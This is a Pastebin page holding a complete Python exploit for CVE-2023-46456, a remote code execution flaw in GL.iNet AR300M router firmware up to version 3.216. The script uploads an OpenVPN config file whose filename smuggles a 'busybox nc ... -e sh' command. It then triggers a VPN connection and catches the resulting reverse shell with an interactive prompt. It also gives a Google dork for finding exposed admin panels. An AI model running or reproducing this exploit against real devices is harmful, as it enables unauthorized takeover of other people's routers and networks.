Advertisement
FlyFar

GL.iNet AR300M v3.216 Remote Code Execution - CVE-2023-46456

Mar 6th, 2024
663
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.58 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. # Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
  4. # Google Dork: intitle:"GL.iNet Admin Panel"
  5. # Date: XX/11/2023
  6. # Exploit Author: Michele 'cyberaz0r' Di Bonaventura
  7. # Vendor Homepage: https://www.gli-net.com
  8. # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
  9. # Version: 3.216
  10. # Tested on: GL.iNet AR300M
  11. # CVE: CVE-2023-46456
  12.  
  13. import socket
  14. import requests
  15. import readline
  16. from time import sleep
  17. from random import randint
  18. from sys import stdout, argv
  19. from threading import Thread
  20.  
  21. requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
  22.  
  23. def generate_random_string():
  24.     return ''.join([chr(randint(97, 122)) for x in range(6)])
  25.  
  26. def add_config_file(url, auth_token, payload):
  27.     data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
  28.     try:
  29.         r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
  30.         r.raise_for_status()
  31.     except requests.exceptions.RequestException:
  32.         print('[X] Error while adding configuration file')
  33.         return False
  34.     return True
  35.  
  36. def verify_config_file(url, auth_token, payload):
  37.     try:
  38.         r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
  39.         r.raise_for_status()
  40.         if not r.json()['passed'] and payload not in r.json()['passed']:
  41.             return False
  42.     except requests.exceptions.RequestException:
  43.         print('[X] Error while verifying the upload of configuration file')
  44.         return False
  45.     return True
  46.  
  47. def add_client(url, auth_token):
  48.     postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
  49.     try:
  50.         r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
  51.         r.raise_for_status()
  52.     except requests.exceptions.RequestException:
  53.         print('[X] Error while adding OpenVPN client')
  54.         return False
  55.     return True
  56.  
  57. def get_client_id(url, auth_token, payload):
  58.     try:
  59.         r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
  60.         r.raise_for_status()
  61.         for conn in r.json()['clients']:
  62.             if conn['defaultserver'] == payload:
  63.                 return conn['id']
  64.         print('[X] Error: could not find client ID')
  65.         return False
  66.     except requests.exceptions.RequestException:
  67.         print('[X] Error while retrieving added OpenVPN client ID')
  68.     return False
  69.  
  70. def connect_vpn(url, auth_token, client_id):
  71.     sleep(0.25)
  72.     postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
  73.     r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
  74.  
  75. def cleanup(url, auth_token, client_id):
  76.     try:
  77.         r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
  78.         r.raise_for_status()
  79.     except requests.exceptions.RequestException:
  80.         print('[X] Error while cleaning up OpenVPN client')
  81.         return False
  82.     return True
  83.  
  84. def get_command_response(s):
  85.     res = ''
  86.     while True:
  87.         try:
  88.             resp = s.recv(1).decode('utf-8')
  89.             res += resp
  90.         except UnicodeDecodeError:
  91.             pass
  92.         except socket.timeout:
  93.             break
  94.     return res
  95.  
  96. def revshell_listen(revshell_ip, revshell_port):
  97.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  98.     s.settimeout(5)
  99.  
  100.     try:
  101.         s.bind((revshell_ip, int(revshell_port)))
  102.         s.listen(1)
  103.     except Exception as e:
  104.         print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
  105.         exit(1)
  106.  
  107.     try:
  108.         clsock, claddr = s.accept()
  109.         clsock.settimeout(2)
  110.         if clsock:
  111.             print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
  112.             res = ''
  113.             while True:
  114.                 command = input('$ ')
  115.                 clsock.sendall('{}\n'.format(command).encode('utf-8'))
  116.                 stdout.write(get_command_response(clsock))
  117.  
  118.     except socket.timeout:
  119.         print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
  120.         s.close()
  121.  
  122.     except KeyboardInterrupt:
  123.         print('\n[*] Closing connection')
  124.         try:
  125.             clsock.close()
  126.         except socket.error:
  127.             pass
  128.         except NameError:
  129.             pass
  130.         s.close()
  131.  
  132. def main(base_url, auth_token, revshell_ip, revshell_port):
  133.     print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')
  134.  
  135.     payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
  136.     print('[+] Filename payload: "{}"'.format(payload))
  137.  
  138.     print('[*] Uploading crafted OpenVPN config file')
  139.     if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
  140.         exit(1)
  141.  
  142.     if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
  143.         exit(1)
  144.     print('[+] File uploaded successfully')
  145.  
  146.     print('[*] Adding OpenVPN client')
  147.     if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
  148.         exit(1)
  149.  
  150.     client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
  151.     if not client_id:
  152.         exit(1)
  153.     print('[+] Client ID: ' + client_id)
  154.  
  155.     print('[*] Triggering connection to created OpenVPN client')
  156.     Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()
  157.  
  158.     print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
  159.     revshell_listen(revshell_ip, revshell_port)
  160.  
  161.     print('[*] Clean-up by removing OpenVPN connection')
  162.     if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
  163.         exit(1)
  164.  
  165.     print('[+] Done')
  166.  
  167. if __name__ == '__main__':
  168.     if len(argv) < 5:
  169.         print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
  170.         exit(1)
  171.  
  172.     main(argv[1], argv[2], argv[3], argv[4])
  173.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement